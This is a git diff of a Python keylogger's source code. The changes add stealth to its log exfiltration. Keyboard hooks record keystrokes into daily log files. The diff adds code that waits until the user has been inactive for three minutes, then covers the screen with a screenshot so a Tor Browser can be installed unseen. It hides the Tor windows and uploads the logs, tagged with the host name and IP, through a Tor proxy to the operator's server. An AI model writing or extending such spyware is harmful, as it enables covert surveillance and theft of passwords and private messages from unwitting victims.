@@ -32,9 +32,10 @@ def hide():
3232if mode != "debug" :
3333 hide ()
3434
35-
36- import keyboard # for keyboard hooks. See docs https://github.com/boppreh/keyboard
37- import psutil
35+ from keyboard import is_pressed , hook , wait , get_hotkey_name
36+ # for keyboard hooks. See docs https://github.com/boppreh/keyboard
37+ from psutil import pids as psutil_pids , Process as psutil_Process
38+ import signal
3839from ctypes import WinDLL # for getting window titles, current keyboard layout and capslock state
3940import urllib .request
4041import datetime # for getting the current time and using timedelta
@@ -43,18 +44,18 @@ def hide():
4344import Cryptodome .Util
4445from Cryptodome .Hash import SHA3_512
4546import base64
46- import hashlib # for hashing the names of files
47- import multiprocessing
48- import threading
49- from subprocess import run as subprocess_run
50- import requests
47+ from hashlib import md5 as hashlib_md5 # for hashing the names of files
48+ from multiprocessing import Process as multiprocessing_Process
49+ from threading import Thread as threading_Thread
50+ from requests import get as requests_get , post as requests_post , exceptions as requests_exceptions
5151import socks
52- import socket
52+ from socket import getfqdn as socket_getfqdn
5353from random import choice , shuffle
5454from pywinauto .application import Application
5555import pywinauto .timings
5656import tkinter as tk
5757from PIL import Image , ImageGrab , ImageTk
58+ import numpy as np
5859import re
5960import time
6061
@@ -342,50 +343,99 @@ def check_if_tor_browser_is_installed():
342343
343344
344345def show_screenshot ():
346+ tk .Tk ().withdraw ()
345347 root = tk .Toplevel ()
346348 w , h = root .winfo_screenwidth (), root .winfo_screenheight ()
347349 root .overrideredirect (1 )
348350 root .geometry ("%dx%d+0+0" % (w , h ))
349351 root .focus_set ()
350352 root .bind ("<Escape>" , lambda e : (e .widget .withdraw (), e .widget .quit ()))
351353 canvas = tk .Canvas (root , width = w , height = h )
352- canvas .pack ()
354+ canvas .pack (in_ = root )
353355 canvas .configure (background = 'black' )
354356 screenshot = ImageGrab .grab ()
355357 ph = ImageTk .PhotoImage (screenshot )
356358 canvas .create_image (w / 2 , h / 2 , image = ph )
359+ root .wm_attributes ("-topmost" , 1 )
357360 root .mainloop ()
358361 return
359362
360363
364+ def count_image_diff (img1 , img2 ):
365+ s = 0
366+ if img1 .getbands () != img2 .getbands ():
367+ return - 1
368+ for band_index , band in enumerate (img1 .getbands ()):
369+ m1 = np .array ([p [band_index ] for p in img1 .getdata ()]).reshape (* img1 .size )
370+ m2 = np .array ([p [band_index ] for p in img2 .getdata ()]).reshape (* img2 .size )
371+ s += np .sum (np .abs (m1 - m2 ))
372+ return s
373+
374+
375+ def has_screen_changed (screenshot_1 ):
376+ screenshot_2 = ImageGrab .grab ()
377+ diff = count_image_diff (screenshot_1 , screenshot_2 )
378+ if diff < 1000000 : # a change significant enough
379+ return False , screenshot_2
380+ else :
381+ return True , screenshot_2
382+
383+
384+ def detect_user_inactivity ():
385+ # Detect user inactivity by detecting screen change + mouse movement + key press
386+ seconds_inactive = 0
387+ screenshot_1 = ImageGrab .grab ()
388+ mouse_saved_pos = win32api .GetCursorPos ()
389+ keys_saved_pressed = get_hotkey_name ()
390+ sleep = 20 # seconds
391+ while seconds_inactive < 180 : # 3 minutes of mouse + keyboard + screen inactivity
392+ screen_changed , screen_pic = has_screen_changed (screenshot_1 )
393+ mouse_pos , keys_pressed = win32api .GetCursorPos (), get_hotkey_name ()
394+ if screen_changed or mouse_saved_pos != mouse_pos or keys_saved_pressed != keys_pressed :
395+ mouse_saved_pos , keys_saved_pressed = mouse_pos , keys_pressed
396+ seconds_inactive = 0
397+ else :
398+ seconds_inactive += sleep
399+ time .sleep (sleep )
400+ return
401+
402+
361403def install_tor_browser ():
362404 if not os .name == "nt" :
363405 return # TODO: Linux, MacOS
364406 # 1. Download the installer
365407 try :
366- r = requests . get ("http://www.torproject.org/download/" )
408+ r = requests_get ("http://www.torproject.org/download/" )
367409 if r .status_code == 200 :
368410 tor_windows_url = r .text .split (".exe" )[0 ].split ("href=\" " )[- 1 ] + ".exe"
369411 else :
370412 tor_windows_url = "https://www.torproject.org/dist/torbrowser/8.5.5/torbrowser-install-win64-8.5.5_en-US.exe"
371- except requests . exceptions .ConnectionError :
413+ except requests_exceptions .ConnectionError :
372414 tor_windows_url = "https://www.torproject.org/dist/torbrowser/8.5.5/torbrowser-install-win64-8.5.5_en-US.exe"
373415 try :
374- tor_installer = requests . get (tor_windows_url )
375- except requests . exceptions .ConnectionError :
416+ tor_installer = requests_get (tor_windows_url )
417+ except requests_exceptions .ConnectionError :
376418 return
377419 installer_path = os .path .join (dir_path , tor_windows_url .split ("/" )[- 1 ])
378- open (installer_path , 'wb' ).write (tor_installer .content )
420+ try : open (installer_path , 'wb' ).write (tor_installer .content )
421+ except : return
379422 # 2. Install
380423 installation_dir = os .path .join (dir_path , "Tor_Browser" )
381- os .remove (installation_dir )
424+ if os .path .exists (installation_dir ):
425+ try : os .remove (installation_dir )
426+ except : return
427+
428+ detect_user_inactivity ()
382429
383- screenshot_process = multiprocessing . Process (target = show_screenshot , args = ())
430+ screenshot_process = multiprocessing_Process (target = show_screenshot , args = ())
384431 screenshot_process .start ()
385432
433+ time .sleep (5 )
434+
386435 try :
387436 app = Application (backend = "win32" ).start (installer_path )
388437 except :
438+ screenshot_process .terminate ()
389439 return
390440 try :
391441 app .Dialog .OK .wait ('ready' , timeout = 30 )
@@ -403,32 +453,37 @@ def install_tor_browser():
403453 pass
404454 except pywinauto .timings .TimeoutError :
405455 app .kill ()
456+ screenshot_process .terminate ()
457+ return
406458 try :
407- app .InstallDialog .CheckBox .wait ('ready' , timeout = 30 ).uncheck ()
408- app .InstallDialog .CheckBox2 .wait ('ready' , timeout = 30 ).uncheck ()
459+ app .InstallDialog .CheckBox .wait ('ready' , timeout = 120 ).uncheck ()
460+ app .InstallDialog .CheckBox2 .wait ('ready' , timeout = 120 ).uncheck ()
409461 app .InstallDialog .FinishButton .wait ('ready' , timeout = 30 ).click ()
410462 except pywinauto .timings .TimeoutError :
411463 app .kill ()
464+ screenshot_process .terminate ()
465+ return
412466
413467 screenshot_process .terminate ()
414468
415469 # 3. Remove the installer
416470 os .remove (installer_path )
417- return tor_installation_dir
471+
472+ return installation_dir
418473
419474
420475def is_tor_browser_already_open (program_path ):
421- for pid in psutil . pids (): # Iterates over all process-ID's found by psutil
476+ for pid in psutil_pids (): # Iterates over all process-ID's found by psutil
422477 try :
423- p = psutil . Process (pid ) # Requests the process information corresponding to each process-ID,
424- # the output wil look (for example) like this: <psutil.Process (pid=5269, name='Python') at 4320652312>
478+ p = psutil_Process (pid ) # Requests the process information corresponding to each process-ID,
479+ # the output wil look (for example) like this: <psutil_Process (pid=5269, name='Python') at 4320652312>
425480 if program_path in p .exe (): # checks if the value of the program-variable
426481 # that was used to call the function matches the name field of the plutil.Process(pid)
427482 # output (see one line above).
428- return True , p .exe ()
483+ return pid , p .exe ()
429484 except :
430485 continue
431- return False , None
486+ return None , None
432487
433488
434489def find_top_windows (wanted_text = None , wanted_class = None , selection_function = None ):
@@ -456,6 +511,12 @@ def _normalise_text(control_text):
456511 Useful for matching control text """
457512 return control_text .lower ().replace ('&' , '' )
458513
514+ def _windowEnumerationHandler (hwnd , resultList ):
515+ '''Pass to win32gui.EnumWindows() to generate list of window handle,
516+ window text, window class tuples.'''
517+ resultList .append ((hwnd ,
518+ win32gui .GetWindowText (hwnd ),
519+ win32gui .GetClassName (hwnd )))
459520 results = []
460521 top_windows = []
461522 win32gui .EnumWindows (_windowEnumerationHandler , top_windows )
@@ -470,17 +531,25 @@ def _normalise_text(control_text):
470531 return results
471532
472533
473- def open_tor_browser (installation_dir ):
534+ def open_tor_browser (tor_installation_dir ):
474535 user32 = WinDLL ('user32' )
475- os .startfile (os .path .join (os . path . split ( os . path . split ( installation_dir )[ 0 ])[ 0 ] , "Start Tor Browser.lnk" ))
536+ os .startfile (os .path .join (tor_installation_dir , "Start Tor Browser.lnk" ))
476537 start_time = time .time ()
477- while time .time () - start_time < 60 :
538+ check_1 = check_2 = False
539+ while time .time () - start_time < 5 :
478540 hwnd_1 = find_top_windows (wanted_text = "Establishing a Connection" , wanted_class = 'MozillaDialogClass' )
479541 hwnd_2 = find_top_windows (wanted_text = "About Tor" , wanted_class = 'MozillaWindowClass' )
480542 if len (hwnd_1 ) == 1 :
481543 user32 .ShowWindow (hwnd_1 [0 ], 0 )
544+ check_1 = True
482545 if len (hwnd_2 ) == 1 :
483546 user32 .ShowWindow (hwnd_2 [0 ], 0 )
547+ check_2 = True
548+ break
549+ if not (check_1 and check_2 ):
550+ pid , _ = is_tor_browser_already_open (program_path = 'Tor Browser\\ Browser\\ firefox.exe' )
551+ if pid :
552+ os .kill (pid , 9 )
484553
485554
486555def find_the_previous_log_and_send ():
@@ -491,20 +560,21 @@ def find_the_previous_log_and_send():
491560 delta = 1
492561 while delta <= 366 :
493562 previous_date = (datetime .date .today () - timedelta (days = delta )).strftime ('%Y-%b-%d' )
494- previous_date_hashed = hashlib . md5 (bytes (previous_date , 'utf-8' )).hexdigest ()
563+ previous_date_hashed = hashlib_md5 (bytes (previous_date , 'utf-8' )).hexdigest ()
495564 if os .path .exists (previous_date_hashed + ".txt" ):
496565 found_filenames .append (previous_date_hashed + ".txt" )
497566 delta += 1
498567 # check if TOR is opened/installed
499- is_tor_open , tor_installation_dir = is_tor_browser_already_open (program_path = 'Tor Browser\\ Browser\\ firefox.exe' )
568+ open_tor_pid , tor_installation_dir = is_tor_browser_already_open (program_path = 'Tor Browser\\ Browser\\ firefox.exe' )
500569 if not tor_installation_dir :
501570 tor_installation_dir = check_if_tor_browser_is_installed ()
502571 # if not tor_installation_dir:
503- tor_installation_dir = install_tor_browser ()
572+ tor_installation_dir = install_tor_browser () # add indent
573+ tor_installation_dir = os .path .split (os .path .split (tor_installation_dir )[0 ])[0 ] # add indent
504574 if not tor_installation_dir :
505575 return True # ONE DOES NOT SIMPLY USE CLEARNET.
506576 else : # USE DARKNET ONLY
507- if not is_tor_open :
577+ if not open_tor_pid :
508578 open_tor_browser (tor_installation_dir )
509579 for found_filename in found_filenames :
510580 # Now that we found the old log files (found_filename), send them to our server.
@@ -518,18 +588,18 @@ def find_the_previous_log_and_send():
518588 counter = 0
519589 while counter < 5 :
520590 try :
521- r = requests . get (server_parser_list [counter ][0 ])
591+ r = requests_get (server_parser_list [counter ][0 ])
522592 if r .status_code == 200 :
523593 ip = eval (server_parser_list [counter ][1 ])
524594 break
525- except requests . exceptions .ConnectionError :
595+ except requests_exceptions .ConnectionError :
526596 pass
527597 counter += 1
528- new_found_filename = str (socket . getfqdn ()) + ("_" if ip != "" else "" ) + ip + "_" + found_filename
598+ new_found_filename = str (socket_getfqdn ()) + ("_" if ip != "" else "" ) + ip + "_" + found_filename
529599 os .rename (found_filename , new_found_filename ) # rename the file to avoid async errors
530- sent_status_code = requests . get (url_server_check_connection , proxies = proxies ).status_code
600+ sent_status_code = requests_get (url_server_check_connection , proxies = proxies ).status_code
531601 if sent_status_code == 200 : # send logs
532- uploaded_status = requests . post (url_server_upload ,
602+ uploaded_status = requests_post (url_server_upload ,
533603 proxies = proxies ,
534604 data = open (new_found_filename , "rb" ).read ()).status_code
535605 if uploaded_status == 200 :
@@ -542,12 +612,12 @@ def log_local():
542612 global dir_path , line_buffer , backspace_buffer_len , window_name , time_logged
543613 todays_date = datetime .datetime .now ().strftime ('%Y-%b-%d' )
544614 # md5 only for masking dates - it's easily crackable for us:
545- todays_date_hashed = hashlib . md5 (bytes (todays_date , 'utf-8' )).hexdigest ()
615+ todays_date_hashed = hashlib_md5 (bytes (todays_date , 'utf-8' )).hexdigest ()
546616 # We need to check if it is a new day, if so, send the old log to the server.
547617 if not os .path .exists (todays_date_hashed + ".txt" ): # a new day, a new life...
548618 if mode == "remote" :
549619 # Evaluate find_the_previous_log_and_send asynchronously
550- thr = threading . Thread (target = find_the_previous_log_and_send , args = (), kwargs = {})
620+ thr = threading_Thread (target = find_the_previous_log_and_send , args = (), kwargs = {})
551621 thr .start ()
552622 # thr.is_alive() # check if it is alive
553623 # thr.join()
@@ -630,9 +700,9 @@ def key_callback(event):
630700 # 3. DETERMINE THE KEY_PRESSED GIVEN THE EVENT
631701 if event .name in ['left' , 'right' ]: # arrow keys # 'home', 'end', 'up', 'down'
632702 key_pressed_list = list ()
633- if keyboard . is_pressed ('ctrl' ) or keyboard . is_pressed ('right ctrl' ):
703+ if is_pressed ('ctrl' ) or is_pressed ('right ctrl' ):
634704 key_pressed_list .append ('ctrl' )
635- if keyboard . is_pressed ('shift' ) or keyboard . is_pressed ('right shift' ):
705+ if is_pressed ('shift' ) or is_pressed ('right shift' ):
636706 key_pressed_list .append ('shift' )
637707 key_pressed = '<' + '+' .join (key_pressed_list ) + (
638708 '+' if len (key_pressed_list ) > 0 else '' ) + event .name + '>'
@@ -693,8 +763,8 @@ def key_callback(event):
693763
694764def main ():
695765 # KEYLOGGER STARTS
696- keyboard . hook (key_callback )
697- keyboard . wait ()
766+ hook (key_callback )
767+ wait ()
698768 return
699769
700770
0 commit comments